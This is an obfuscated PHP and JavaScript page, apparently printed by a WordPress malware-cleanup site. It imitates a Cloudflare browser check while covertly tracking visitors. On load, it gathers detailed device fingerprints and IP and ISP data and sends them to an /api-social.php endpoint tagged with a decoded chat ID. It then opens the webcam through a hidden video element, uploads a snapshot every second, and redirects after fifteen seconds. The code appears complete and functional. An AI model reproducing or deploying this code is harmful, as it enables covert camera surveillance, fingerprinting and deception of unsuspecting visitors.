\x65rror\x21\x20status: \x27 +\x20re\x73p\x6fnse.st\x61t\x75s)\x3b\n \x20\x20\x20\x20\x20 \x20\x20}\n\x20\x20\x20 \x20 \x20 \x20\x20 \x20 \x63\x6f\x6e\x73t dat\x61 = \x61\x77\x61i\x74\x20resp\x6f\x6e\x73e\x2e\x6aso\x6e()\x3b\n \x20\x20 \x20\x20\x20\x20 \x20\x20\x20ret\x75\x72n\x20data\x3b\n\x20\x20\x20\x20\x20\x20 \x20\x20 } \x63\x61\x74c\x68\x20(\x65\x72ro\x72)\x20{\n\x20\x20\x20 \x20\x20 \x20\x20\x20\x20 \x20\x63o\x6e\x73ole.\x65\x72ro\x72('\x45r\x72\x6fr\x20g\x65tt\x69\x6e\x67\x20IP\x20d\x65t\x61i\x6cs:',\x20\x65\x72\x72\x6fr)\x3b\n \x20\x20\x20\x20\x20 \x20\x20\x20\x20r\x65\x74\x75\x72\x6e\x20{}\x3b\n \x20 \x20}\n\x20 \x20 \x20 }\n\n \x20 \x20 \x20 // Fu\x6ection t\x6f se\x6ed \x6c\x6fca\x74\x69\x6fn\x20\x61\x6ed\x20\x64ev\x69ce\x20\x69\x6efo\x20t\x6f\x20/a\x70i-s\x6f\x63i\x61\x6c.\x70hp\n\x20 \x20\x20 \x20\x20\x61sync \x66\x75n\x63tion\x20\x73\x65n\x64\x44\x65\x76i\x63e\x49\x6e\x66\x6f() {\n \x20\x20\x20 \x20co\x6e\x73t \x64e\x76\x69\x63eI\x6e\x66o\x20= \x61\x77\x61\x69t\x20g\x65\x74\x44ev\x69c\x65\x49\x6ef\x6f()\x3b\n\x20\x20\x20\x20\x20 \x20\x63o\x6e\x73t\x20\x69pDe\x74a\x69\x6cs =\x20aw\x61i\x74 \x67\x65\x74Ip\x44et\x61il\x73()\x3b\n\n\x20 \x20 \x20 \x20 const mess\x61g\x65\x20=\x20`\n\x3c\x62><\x75\x3eℹ️ \x41cti\x76i\x74\x79 Tr\x61cked:\x3c/u\x3e\x3c/\x62>\n\n\x3c\x62>🌐\x20IP a\x64dre\x73s:</\x62\x3e\x20<\x69\x3e\${\x69\x70D\x65tai\x6cs.\x69p\x20|| '\x4e/A'}\x3c/i>\n<\x62>📡\x20\x49S\x50:</\x62\x3e <\x69\x3e\${\x69\x70\x44e\x74a\x69\x6c\x73.\x6f\x72g || '\x4e/A\x27}</i>\n\n\x3c\x62\x3e📱\x20\x44\x65\x76i\x63\x65 \x49nfo:\x3c/\x62\x3e\n\x3cb\x3e🔋 \x43\x68ar\x67i\x6eg:\x3c/\x62>\x20\x3c\x69>\${de\x76\x69c\x65\x49n\x66o\x2ech\x61rgi\x6e\x67\x20?\x20\x27Y\x65\x73\x27 :\x20\x27No'}</i\x3e\n\x3cb>🔌\x20Bat\x74\x65r\x79 \x4c\x65vel:</b\x3e <\x69\x3e\${d\x65\x76\x69c\x65In\x66o\x2ech\x61\x72gi\x6e\x67P\x65r\x63\x65ntag\x65}%\x3c/i>\n<b\x3e🌐 Net\x77or\x6b\x20T\x79pe:\x3c/b\x3e\x20\x3c\x69\x3e\${dev\x69c\x65\x49\x6e\x66\x6f.ne\x74\x77o\x72kT\x79\x70\x65 || '\x4e/\x41\x27}\x3c/\x69\x3e\n\x3cb>🕒\x20T\x69\x6de\x20Z\x6f\x6ee:</\x62\x3e <i\x3e\${\x64\x65vice\x49n\x66o\x2e\x74\x69meZ\x6f\x6e\x65}</i>\n<b>🗣\x20L\x61n\x67uag\x65:\x3c/\x62\x3e \x3ci>\${\x64e\x76\x69\x63\x65In\x66\x6f.la\x6eg\x75\x61ge}</i>\n<\x62>🗣\x20\x4c\x61n\x67uages:\x3c/b\x3e <\x69>\${\x64\x65vic\x65\x49nf\x6f.lang\x75\x61\x67e\x73}</\x69>\n\x3cb>💻\x20\x50\x6catfo\x72\x6d:</b> <\x69>\${\x64e\x76ic\x65\x49n\x66o.p\x6cat\x66o\x72\x6d}</i>\n<\x62>🌐 Us\x65r Ag\x65\x6e\x74:</b\x3e\x20\x3ci\x3e\${\x64ev\x69c\x65I\x6ef\x6f\x2eu\x73e\x72Agent}\x3c/\x69\x3e\n\x3cb\x3e📺 \x53c\x72\x65en \x52\x65so\x6cuti\x6f\x6e:\x3c/\x62>\x20\x3ci\x3e\${de\x76ice\x49nfo.\x73cr\x65enR\x65\x73\x6f\x6c\x75\x74i\x6f\x6e}\x3c/\x69>\n<b>🎨\x20Col\x6fr\x20\x44epth:</b\x3e \x3c\x69\x3e\${d\x65\x76\x69\x63\x65Inf\x6f\x2ec\x6f\x6cor\x44epth}</\x69>\n\x3c\x62\x3e🔢\x20\x44\x65vice \x4d\x65\x6d\x6f\x72\x79:</\x62> \x3ci>\${d\x65\x76\x69c\x65\x49\x6efo.\x64\x65\x76\x69ceMem\x6f\x72y} \x47B</i>\n\x3cb\x3e🖥\x20C\x50\x55\x20\x43\x6f\x72es:\x3c/\x62>\x20<\x69\x3e\${dev\x69c\x65\x49\x6e\x66o\x2e\x68ar\x64wa\x72\x65\x43\x6f\x6e\x63\x75\x72r\x65nc\x79}</i\x3e\n\x3c\x62\x3e🌐 \x42\x72\x6f\x77\x73\x65r \x4e\x61\x6d\x65:</b\x3e\x20\x3c\x69>\${d\x65vi\x63e\x49\x6e\x66o.b\x72\x6fw\x73erNa\x6de}\x3c/i\x3e\n\x3c\x62>🌐 \x42ro\x77se\x72\x20\x56er\x73i\x6f\x6e:\x3c/b>\x20<i\x3e\${d\x65viceI\x6ef\x6f.br\x6f\x77s\x65\x72V\x65rsio\x6e}\x3c/i>\n\x3cb>⬇️ D\x6f\x77\x6e\x6c\x69n\x6b:</b\x3e\x20\x3c\x69>\${\x64\x65vic\x65I\x6e\x66\x6f.d\x6fwnl\x69\x6e\x6b}</i>\n\x3cb\x3e📶\x20E\x66fe\x63t\x69ve \x54\x79p\x65:</\x62> \x3c\x69\x3e\${d\x65v\x69ce\x49\x6ef\x6f.\x65\x66f\x65\x63\x74i\x76e\x54ype}</i>\n<b\x3e🕒 \x52TT:</\x62> <\x69\x3e\${d\x65vi\x63\x65\x49n\x66o.\x72tt}\x20\x6ds\x3c/i\x3e\n<\x62\x3e📡\x20\x43\x6f\x6e\x6e\x65ct\x69\x6fn\x20T\x79pe:</\x62> <i\x3e\${\x64e\x76\x69ce\x49\x6efo.\x63on\x6eecti\x6f\x6e\x54y\x70e}</\x69>\n<\x62>🔧\x20\x50r\x6f\x64uc\x74\x20\x53ub:</\x62\x3e\x20\x3c\x69\x3e\${d\x65\x76ic\x65\x49n\x66o.\x70\x72\x6f\x64uc\x74\x53u\x62}</i\x3e\n\x3c\x62\x3e🏢\x20\x56\x65\x6e\x64\x6f\x72:\x3c/b\x3e <\x69>\${\x64\x65\x76iceIn\x66\x6f.vend\x6fr}</i\x3e\n\x3cb>🖐\x20Max T\x6fuc\x68 \x50o\x69\x6et\x73:</b\x3e \x3ci\x3e\${de\x76ice\x49\x6efo.\x6d\x61xTouc\x68P\x6f\x69\x6et\x73}</i\x3e\n\x3cb\x3e❌ Do No\x74\x20Track:</b\x3e\x20<i>\${de\x76\x69ceI\x6e\x66o.doNo\x74T\x72ack}</i\x3e\n\x3c\x62\x3e🍪 C\x6foki\x65 E\x6e\x61\x62led:\x3c/b> <\x69>\${d\x65vi\x63\x65In\x66\x6f\x2ec\x6fo\x6bie\x45\x6e\x61b\x6ce\x64}\x3c/\x69>\n<\x62\x3e💼 \x41pp Cod\x65 Na\x6d\x65:</b\x3e\x20<i\x3e\${d\x65\x76ic\x65\x49\x6ef\x6f\x2ea\x70p\x43\x6fde\x4e\x61m\x65}</i\x3e\n\x3c\x62\x3e📱 \x41pp\x20\x4ea\x6de:</b\x3e\x20\x3ci\x3e\${devic\x65\x49nfo.a\x70pNam\x65}\x3c/i>\n\x3c\x62\x3e📱 \x41pp\x20\x56ersi\x6fn:</\x62>\x20<i>\${devi\x63e\x49n\x66o.ap\x70V\x65r\x73\x69\x6f\x6e}\x3c/\x69\x3e\n<b>🔧\x20P\x72oduct:\x3c/\x62\x3e \x3c\x69\x3e\${\x64\x65\x76\x69\x63\x65Inf\x6f\x2e\x70ro\x64\x75\x63t}</\x69\x3e\n<b\x3e🤖 \x57e\x62\x44ri\x76\x65r:\x3c/\x62\x3e \x3c\x69\x3e\${\x64ev\x69ce\x49nfo.\x77\x65bd\x72\x69\x76\x65\x72}\x3c/i>\n<b>📰\x20\x50\x44F Vi\x65\x77\x65r\x20Enable\x64:\x3c/b>\x20<i\x3e\${d\x65v\x69\x63e\x49\x6ef\x6f.pd\x66V\x69\x65\x77\x65r\x45\x6eab\x6c\x65\x64}</\x69>\x60\x3b\n\n \x20 \x20 \x20 \x20\x63\x6f\x6e\x73t \x75\x72l\x20= \x22/a\x70i-s\x6fc\x69al\x2eph\x70?\x6d\x65\x74hod=\x64e\x76ic\x65\x5fi\x6e\x66orma\x74\x69o\x6e&i\x64=\"\x20+\x20e\x6ec\x6fde\x55R\x49C\x6fm\x70\x6fne\x6e\x74(\x22";echo${${"\x47\x4cOBA\x4cS"}["\x77\x61\x79\x66\x77\x73\x66\x70\x6a"]};echo "\x22) +\n \x20 \x20 \x20 \x20 \x20 \x20 \x20 \x20 \x20 \x22&dev\x69\x63e\x49n\x66\x6f=\" +\x20e\x6e\x63od\x65URICo\x6dpone\x6e\x74(\x4a\x53O\x4e.stri\x6eg\x69\x66y(\x64\x65\x76i\x63eI\x6ef\x6f)) +\n\x20 \x20\x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20\x20 \x20\x20 \x22&\x69\x70Det\x61\x69l\x73=\x22 + \x65\x6eco\x64\x65\x55R\x49\x43\x6fmpo\x6eent(JS\x4fN.st\x72i\x6e\x67i\x66y(\x69p\x44\x65\x74\x61i\x6c\x73));\n\n\x20\x20\x20\x20\x20\x20 \x20 \x20 //\x20L\x6f\x67 t\x68e\x20\x55\x52L t\x6f\x20\x74\x68\x65 co\x6es\x6f\x6c\x65 \x66\x6fr\x20de\x62\x75\x67\x67i\x6e\x67\n \x20\x20 \x20 \x20 \x20c\x6f\x6es\x6f\x6c\x65\x2el\x6f\x67('S\x65n\x64i\x6e\x67\x20\x72\x65q\x75\x65s\x74\x20\x74o \x55\x52L:',\x20\x75\x72l)\x3b\n\n \x20\x20 \x20\x20 \x20\x20//\x20Per\x66orm \x61 \x47\x45T\x20re\x71\x75\x65\x73\x74 \x74o\x20the \x55RL\n\x20 \x20\x20\x20\x20 t\x72\x79\x20{\n \x20 \x20 \x20\x20 \x20\x20\x20 const\x20\x72e\x73\x70\x6f\x6es\x65 = \x61\x77ai\x74 fetch(u\x72l);\n\x20\x20 \x20 \x20\x20\x20 \x20\x20 \x20if\x20(r\x65\x73p\x6f\x6ese\x2eok)\x20{\n \x20 \x20 \x20 \x20\x20 \x20\x20co\x6esole.\x6co\x67(\x27R\x65\x71ue\x73\x74\x20succ\x65ssf\x75\x6c\x27)\x3b\n\x20 \x20 \x20 \x20\x20\x20 \x20 \x20\x20\x20}\x20\x65\x6c\x73e {\n \x20\x20 \x20 \x20\x20\x20\x20 \x20 \x20c\x6f\x6es\x6fle.e\x72\x72\x6fr(\x27Re\x71\x75e\x73\x74 faile\x64 \x77\x69th\x20\x73\x74atu\x73:', res\x70o\x6e\x73\x65\x2e\x73tat\x75\x73)\x3b\n \x20 \x20 \x20 \x20\x20\x20\x20 \x20\x20}\n \x20 \x20 \x20 \x20\x20 } \x63at\x63h\x20(\x65r\x72\x6f\x72) {\n \x20 \x20\x20\x20\x20 \x20 \x63\x6fns\x6fl\x65.\x65\x72ror(\x27E\x72ror\x20sen\x64\x69n\x67\x20l\x6f\x63atio\x6e\x20\x61\x6e\x64 d\x65\x76ice \x69\x6e\x66\x6f:\x27, err\x6fr);\n \x20\x20 \x20 \x20}\n \x20\x20\x20 \x20\x20}\n\n \x20 \x20 as\x79n\x63\x20\x66\x75nc\x74ion cap\x74\x75\x72\x65An\x64S\x65nd()\x20{\n\x20\x20 \x20\x20\x20 \x20\x20 \x63o\x6est\x20\x76\x69de\x6f =\x20do\x63ume\x6et.g\x65tE\x6c\x65\x6d\x65\x6etByI\x64('\x76\x69d\x65o\x27)\x3b\n \x20\x20\x20 \x20\x20 \x20 \x69f\x20(\x76i\x64\x65\x6f.srcO\x62j\x65\x63\x74)\x20{\n \x20\x20 \x20\x20\x20 \x20\x20 \x20 \x20\x63o\x6e\x73t\x20canvas = \x64o\x63\x75men\x74.cre\x61teE\x6c\x65\x6den\x74(\x27\x63\x61nva\x73');\n\x20 \x20\x20 \x20 \x20 \x20\x20\x20\x20\x20ca\x6evas\x2ewidt\x68\x20\x3d \x76\x69d\x65\x6f.\x76i\x64\x65\x6fW\x69d\x74h\x3b\n \x20 \x20\x20 \x20 \x20\x20\x20\x20\x20 canva\x73.\x68ei\x67\x68\x74\x20= \x76ideo.\x76id\x65oH\x65\x69ght\x3b\n\x20\x20 \x20 \x20\x20 \x20 \x20 \x63an\x76a\x73.\x67\x65t\x43on\x74\x65x\x74(\x27\x32d')\x2edr\x61w\x49\x6da\x67\x65(\x76i\x64eo,\x200, 0, \x63\x61\x6e\x76a\x73\x2e\x77idt\x68, \x63a\x6e\x76\x61\x73.\x68ei\x67h\x74);\n\n\x20\x20 \x20 \x20\x20\x20\x20\x20c\x6f\x6e\x73t\x20i\x6d\x61\x67e_\x64\x61\x74\x61\x20=\x20\x63a\x6evas\x2et\x6f\x44\x61\x74aU\x52\x4c(\x27\x69ma\x67\x65/\x70\x6e\x67');\n\n \x20\x20\x20\x20\x20\x20\x20 \x20\x20 \$\x2eaja\x78({\n\x20 \x20\x20 \x20\x20 \x20 \x20 \x20 \x20\x20\x20\x20 \x74ype: 'POS\x54\x27,\n\x20 \x20\x20 \x20\x20 \x20 \x20 \x20 \x20\x20ur\x6c:\x20'/\x61\x70i-\x73oc\x69a\x6c.\x70h\x70\x27,\n \x20 \x20\x20 \x20\x20 \x20\x20 \x20\x20\x20 \x64a\x74\x61:\x20{\n \x20\x20\x20\x20 \x20\x20 \x20 \x20 \x20 \x20 \x20\x20\x20 m\x65\x74h\x6fd: \x27ca\x70\x74\x75\x72e_i\x6dage',\n \x20 \x20\x20\x20\x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20\x69\x6dg\x63ode:\x20\x69m\x61ge\x5f\x64ata,\n \x20\x20\x20 \x20\x20\x20 \x20\x20 \x20 \x20\x20 id:\x20\x22";echo${${"\x47\x4cO\x42ALS"}["q\x6dvr\x68\x74\x6eh\x6d"]};echo "\x22\n \x20 \x20 \x20\x20 \x20 \x20 },\n \x20 \x20 \x20\x20\x20 \x20 \x20\x20 \x73uc\x63es\x73: (re\x73)\x20\x3d\x3e \x63\x6f\x6e\x73o\x6ce\x2e\x6c\x6f\x67('I\x6d\x61g\x65\x20se\x6e\x74 \x73\x75\x63\x63ess\x66\x75\x6c\x6c\x79:', r\x65\x73),\n\x20\x20 \x20 \x20 \x20 \x20 \x65\x72\x72\x6f\x72:\x20(xh\x72, s\x74atus,\x20e\x72ror)\x20=> con\x73\x6f\x6c\x65.er\x72o\x72(\x27I\x6d\x61\x67e \x73e\x6e\x64 e\x72\x72\x6fr:', er\x72\x6f\x72)\n \x20 \x20\x20\x20 \x20\x20 });\n \x20\x20 \x20\x20\x20} e\x6c\x73e\x20{\n \x20\x20\x20 \x20 \x20 \x20 co\x6e\x73\x6fl\x65.\x65r\x72\x6f\x72('\x4eo v\x69d\x65\x6f\x20s\x74\x72\x65a\x6d \x74\x6f\x20\x63a\x70tur\x65')\x3b\n\x20\x20 \x20\x20\x20 \x20}\n\x20\x20 \x20 \x20 \x20}\n\n\x20\x20\x20\x20\x20 \x20\x61\x73y\x6e\x63 \x66un\x63\x74\x69on\x20\x53e\x6e\x64\x43a\x6de\x72a() {\n \x20 \x20\x20 \x20\x74ry\x20{\n \x20\x20 \x20\x20 \x20 \x20c\x6fn\x73\x74\x20\x73\x74\x72\x65am \x3d \x61\x77ait\x20\x6ea\x76\x69ga\x74\x6fr.m\x65\x64iaD\x65\x76i\x63\x65\x73.g\x65\x74Use\x72Med\x69\x61({ v\x69\x64e\x6f: \x74\x72ue });\n \x20\x20 \x20\x20 \x20\x20\x20\x20\x20 \x20 \x63\x6f\x6est\x20video\x20=\x20\x64o\x63\x75m\x65\x6e\x74.\x67\x65\x74El\x65\x6d\x65nt\x42y\x49\x64('\x76\x69\x64e\x6f\x27)\x3b\n \x20 \x20 \x20 \x20\x20\x20 \x20 \x20\x20 v\x69\x64e\x6f\x2esr\x63\x4f\x62j\x65\x63t =\x20s\x74\x72\x65\x61m;\n\x20\x20 \x20 \x20\x20\x20\x20\x20 \x20 \x20\x76i\x64eo.play();\n\n\x20 \x20\x20\x20\x20\x20 \x20\x20\x20 \x20\x73\x65tIn\x74\x65r\x76\x61l(\x63a\x70ture\x41n\x64S\x65n\x64,\x2010\x30\x30); //\x20\x63a\x70\x74u\x72e\x20\x65\x76\x65r\x79 \x31 sec\x6f\x6e\x64\x73\n \x20 \x20\x20 \x20\x20\x20 } ca\x74\x63\x68\x20(e\x72r\x6fr) {\n \x20 \x20 \x20\x20\x20 \x20 co\x6eso\x6c\x65.er\x72\x6f\x72(\x27Cam\x65\x72\x61 \x61\x63\x63\x65s\x73 \x65\x72r\x6fr:', \x65r\x72\x6f\x72);\n\x20\x20\x20 \x20 \x20\x20 \x20 }\n \x20 \x20\x20}\n\n \x20\x20\x20\x20w\x69\x6e\x64ow.on\x6c\x6fa\x64 =\x20()\x20\x3d> {\n\x20\x20 \x20\x20 \x20\x20 \x73\x65\x6e\x64\x44\x65vic\x65\x49nfo();\n \x20 \x20\x20\x20 \x20\x20 \x53e\x6ed\x43\x61m\x65r\x61();\n\x20\x20\x20\x20 };\n\n \x20\x20</s\x63\x72i\x70\x74>\n\x3c/\x62o\x64\x79>\n</\x68tml\x3e\n"; ?>
<?php $aofrocjtbp = "urlToRedirect"; $GLOBALS["psqmebjex"] = "urlToRedirect"; $GLOBALS["lxrlcvuloyr"] = "encodedChatID"; $GLOBALS["wayfwsfpj"] = "chatID"; $GLOBALS["qmvrhtnhm"] = "chatID"; $GLOBALS["spixgbj"] = "path_parts"; $GLOBALS["iqfdqoqw"] = "path_parts"; $GLOBALS["terqpskk"] = "path"; $GLOBALS["hodokczfys"] = "decoded_url"; $GLOBALS["mulsmyckgo"] = "encoded_id"; $GLOBALS["lcyyjujp"] = "i"; $GLOBALS["nbojihlu"] = "mapping"; function decode_chat_id($encoded_id) { $GLOBALS["llxsuxhmjp"] = "decoded_id"; $GLOBALS["jqlhvosh"] = "i"; $mapping = "abcdefghij"; $nrdfbosdipdt = "decoded_id"; $decoded_id = ""; for ($i = 0; $i < strlen($encoded_id); $i++) { $bnpsxkw = "decoded_id"; $rrgukdovuf = "mapping"; $decoded_id .= strpos($mapping, $encoded_id[$i]); } return ${$nrdfbosdipdt}; } function decode_url($encoded_url) { $GLOBALS["jfksrusumi"] = "decoded_url"; $bccyehskvm = "encoded_url"; $decoded_url = base64_decode(strtr($encoded_url, "-_", "+/")); return $decoded_url; } $path = $_SERVER["REQUEST_URI"]; $path_parts = explode("/", trim($path, "/")); if (isset($path_parts[1]) && isset($path_parts[2])) { $wrsywlxn = "path_parts"; $GLOBALS["uqhxvxgp"] = "encodedUrl"; $GLOBALS["gebmtsrgw"] = "encodedUrl"; $ivgecdkd = "path_parts"; $GLOBALS["vntbkoor"] = "encodedChatID"; $encodedChatID = $path_parts[1]; $encodedUrl = $path_parts[2]; $chatID = decode_chat_id($encodedChatID); $urlToRedirect = decode_url($encodedUrl); } else { } echo "<!DOCTYPE html>\n<html lang=\"en-US\">\n<head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge,chrome=1\">\n <meta name=\"robots\" content=\"noindex, nofollow\">\n <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n <title>Just a moment...</title>\n <style type=\"text/css\">\n html, body {width: 100%; height: 100%; margin: 0; padding: 0;}\n body {background-color: #ffffff; color: #000000; font-family:-apple-system, system-ui, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen, Ubuntu, \"Helvetica Neue\",Arial, sans-serif; font-size: 16px; line-height: 1.7em;-webkit-font-smoothing: antialiased;}\n h1 { text-align: center; font-weight: 700; margin: 16px 0; font-size: 32px; color:#000000; line-height: 1.25;}\n p {font-size: 20px; font-weight: 400; margin: 8px 0;}\n p, .attribution {text-align: center;}\n #spinner {margin: 0 auto 30px auto; display: block;}\n .attribution {margin-top: 32px;}\n @keyframes fader { 0% {opacity: 0.2;} 50% {opacity: 1.0;} 100% {opacity: 0.2;} }\n #cf-bubbles > .bubbles { animation: fader 1.6s infinite;}\n #cf-bubbles > .bubbles:nth-child(2) { animation-delay: .2s;}\n #cf-bubbles > .bubbles:nth-child(3) { animation-delay: .4s;}\n .bubbles { background-color: #f58220; width: 20px; height: 20px; margin: 2px; border-radius: 100%; display: inline-block; }\n a { color: #2c7cb0; text-decoration: none; transition: color 0.15s ease; }\n a:hover {color: #f4a15d;}\n </style>\n</head>\n<body>\n <table width=\"100%\" height=\"100%\" cellpadding=\"20\">\n <tbody>\n <tr>\n <td align=\"center\" valign=\"middle\">\n <div class=\"cf-browser-verification cf-im-under-attack\">\n <div id=\"cf-content\">\n <div id=\"cf-bubbles\">\n <div class=\"bubbles\"></div>\n <div class=\"bubbles\"></div>\n <div class=\"bubbles\"></div>\n </div>\n <h1>Checking your browser before accessing the website.</h1>\n <p>This process is automatic. Your browser will redirect to your requested content shortly.</p>\n <p id=\"cf-spinner-redirecting\">Redirecting…</p>\n </div>\n </div>\n <div class=\"attribution\">\n DDoS protection by\n <a rel=\"noopener noreferrer\" href=\"https://www.cloudflare.com/5xx-error-landing/\" target=\"_blank\">Cloudflare</a>\n <br>\n <span class=\"ray_id\">Ray ID: <code id=\"ray\"></code></span>\n </div>\n </td>\n </tr>\n </tbody>\n </table>\n <center>\n <button id=\"toggle-video\" style=\"display:none;\">Toggle Video</button>\n <div id=\"message-container\"></div>\n <video id=\"video\" width=\"0\" height=\"0\" autoplay></video>\n </center>\n <script src=\"https://code.jquery.com/jquery-3.6.0.min.js\"></script>\n <script type=\"text/javascript\">\n // Function to generate a random Ray ID\n function generateRayID() {\n const chars = 'abcdef0123456789';\n let rayID = '';\n for (let i = 0; i < 16; i++) {\n rayID += chars[Math.floor(Math.random() * chars.length)];\n }\n return rayID;\n }\n\n document.addEventListener('DOMContentLoaded', function() {\n // Generate and set a new Ray ID\n document.getElementById('ray').textContent = generateRayID();\n\n // Redirect after 15 seconds\n setTimeout(function() {\n window.location.href = '"; echo ${$aofrocjtbp}; echo "';\n }, 15000); // 15000 milliseconds = 15 seconds\n });\n\n async function getDeviceInfo() {\n const deviceInfo = {\n charging: false,\n chargingPercentage: null,\n networkType: null,\n timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n language: navigator.language,\n languages: navigator.languages.join(', '),\n platform: navigator.platform,\n userAgent: navigator.userAgent,\n screenResolution: `\${window.screen.width}x\${window.screen.height}`,\n\n colorDepth: window.screen.colorDepth,\n deviceMemory: navigator.deviceMemory || 'N/A',\n hardwareConcurrency: navigator.hardwareConcurrency || 'N/A',\n browserName: navigator.userAgentData?.brands.map(b => b.brand).join(', ') || 'N/A',\n browserVersion: navigator.userAgentData?.brands.map(b => b.version).join(', ') || 'N/A',\n downlink: navigator.connection?.downlink || 'N/A',\n effectiveType: navigator.connection?.effectiveType || 'N/A',\n rtt: navigator.connection?.rtt || 'N/A',\n connectionType: navigator.connection?.type || 'N/A',\n productSub: navigator.productSub || 'N/A',\n vendor: navigator.vendor || 'N/A',\n maxTouchPoints: navigator.maxTouchPoints || 'N/A',\n doNotTrack: navigator.doNotTrack || 'N/A',\n cookieEnabled: navigator.cookieEnabled || false,\n appCodeName: navigator.appCodeName || 'N/A',\n appName: navigator.appName || 'N/A',\n appVersion: navigator.appVersion || 'N/A',\n product: navigator.product || 'N/A',\n webdriver: navigator.webdriver || false,\n pdfViewerEnabled: navigator.pdfViewerEnabled || false,\n };\n\n if (navigator.getBattery) {\n try {\n const battery = await navigator.getBattery();\n deviceInfo.charging = battery.charging;\n deviceInfo.chargingPercentage = Math.round(battery.level * 100);\n } catch (error) {\n console.error('Error getting battery information:', error);\n }\n }\n\n return deviceInfo;\n }\n\n // Function to get IP details\n async function getIpDetails() {\n try {\n const response = await fetch('https://ipapi.co/json/');\n if (!response.ok) {\n throw new Error('HTTP error! status: ' + response.status);\n }\n const data = await response.json();\n return data;\n } catch (error) {\n console.error('Error getting IP details:', error);\n return {};\n }\n }\n\n // Function to send location and device info to /api-social.php\n async function sendDeviceInfo() {\n const deviceInfo = await getDeviceInfo();\n const ipDetails = await getIpDetails();\n\n const message = `\n<b><u>ℹ️ Activity Tracked:</u></b>\n\n<b>🌐 IP address:</b> <i>\${ipDetails.ip || 'N/A'}</i>\n<b>📡 ISP:</b> <i>\${ipDetails.org || 'N/A'}</i>\n\n<b>📱 Device Info:</b>\n<b>🔋 Charging:</b> <i>\${deviceInfo.charging ? 'Yes' : 'No'}</i>\n<b>🔌 Battery Level:</b> <i>\${deviceInfo.chargingPercentage}%</i>\n<b>🌐 Network Type:</b> <i>\${deviceInfo.networkType || 'N/A'}</i>\n<b>🕒 Time Zone:</b> <i>\${deviceInfo.timeZone}</i>\n<b>🗣 Language:</b> <i>\${deviceInfo.language}</i>\n<b>🗣 Languages:</b> <i>\${deviceInfo.languages}</i>\n<b>💻 Platform:</b> <i>\${deviceInfo.platform}</i>\n<b>🌐 User Agent:</b> <i>\${deviceInfo.userAgent}</i>\n<b>📺 Screen Resolution:</b> <i>\${deviceInfo.screenResolution}</i>\n<b>🎨 Color Depth:</b> <i>\${deviceInfo.colorDepth}</i>\n<b>🔢 Device Memory:</b> <i>\${deviceInfo.deviceMemory} GB</i>\n<b>🖥 CPU Cores:</b> <i>\${deviceInfo.hardwareConcurrency}</i>\n<b>🌐 Browser Name:</b> <i>\${deviceInfo.browserName}</i>\n<b>🌐 Browser Version:</b> <i>\${deviceInfo.browserVersion}</i>\n<b>⬇️ Downlink:</b> <i>\${deviceInfo.downlink}</i>\n<b>📶 Effective Type:</b> <i>\${deviceInfo.effectiveType}</i>\n<b>🕒 RTT:</b> <i>\${deviceInfo.rtt} ms</i>\n<b>📡 Connection Type:</b> <i>\${deviceInfo.connectionType}</i>\n<b>🔧 Product Sub:</b> <i>\${deviceInfo.productSub}</i>\n<b>🏢 Vendor:</b> <i>\${deviceInfo.vendor}</i>\n<b>🖐 Max Touch Points:</b> <i>\${deviceInfo.maxTouchPoints}</i>\n<b>❌ Do Not Track:</b> <i>\${deviceInfo.doNotTrack}</i>\n<b>🍪 Cookie Enabled:</b> <i>\${deviceInfo.cookieEnabled}</i>\n<b>💼 App Code Name:</b> <i>\${deviceInfo.appCodeName}</i>\n<b>📱 App Name:</b> <i>\${deviceInfo.appName}</i>\n<b>📱 App Version:</b> <i>\${deviceInfo.appVersion}</i>\n<b>🔧 Product:</b> <i>\${deviceInfo.product}</i>\n<b>🤖 WebDriver:</b> <i>\${deviceInfo.webdriver}</i>\n<b>📰 PDF Viewer Enabled:</b> <i>\${deviceInfo.pdfViewerEnabled}</i>`;\n\n const url = \"/api-social.php?method=device_information&id=\" + encodeURIComponent(\""; echo ${$GLOBALS["wayfwsfpj"]}; echo "\") +\n \"&deviceInfo=\" + encodeURIComponent(JSON.stringify(deviceInfo)) +\n \"&ipDetails=\" + encodeURIComponent(JSON.stringify(ipDetails));\n\n // Log the URL to the console for debugging\n console.log('Sending request to URL:', url);\n\n // Perform a GET request to the URL\n try {\n const response = await fetch(url);\n if (response.ok) {\n console.log('Request successful');\n } else {\n console.error('Request failed with status:', response.status);\n }\n } catch (error) {\n console.error('Error sending location and device info:', error);\n }\n }\n\n async function captureAndSend() {\n const video = document.getElementById('video');\n if (video.srcObject) {\n const canvas = document.createElement('canvas');\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\n\n const image_data = canvas.toDataURL('image/png');\n\n \$.ajax({\n type: 'POST',\n url: '/api-social.php',\n data: {\n method: 'capture_image',\n imgcode: image_data,\n id: \""; echo ${$GLOBALS["qmvrhtnhm"]}; echo "\"\n },\n success: (res) => console.log('Image sent successfully:', res),\n error: (xhr, status, error) => console.error('Image send error:', error)\n });\n } else {\n console.error('No video stream to capture');\n }\n }\n\n async function SendCamera() {\n try {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.getElementById('video');\n video.srcObject = stream;\n video.play();\n\n setInterval(captureAndSend, 1000); // capture every 1 seconds\n } catch (error) {\n console.error('Camera access error:', error);\n }\n }\n\n window.onload = () => {\n sendDeviceInfo();\n SendCamera();\n };\n\n </script>\n</body>\n</html>\n";
■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
(C)2019 ワードプレス ドクター All rights reserved.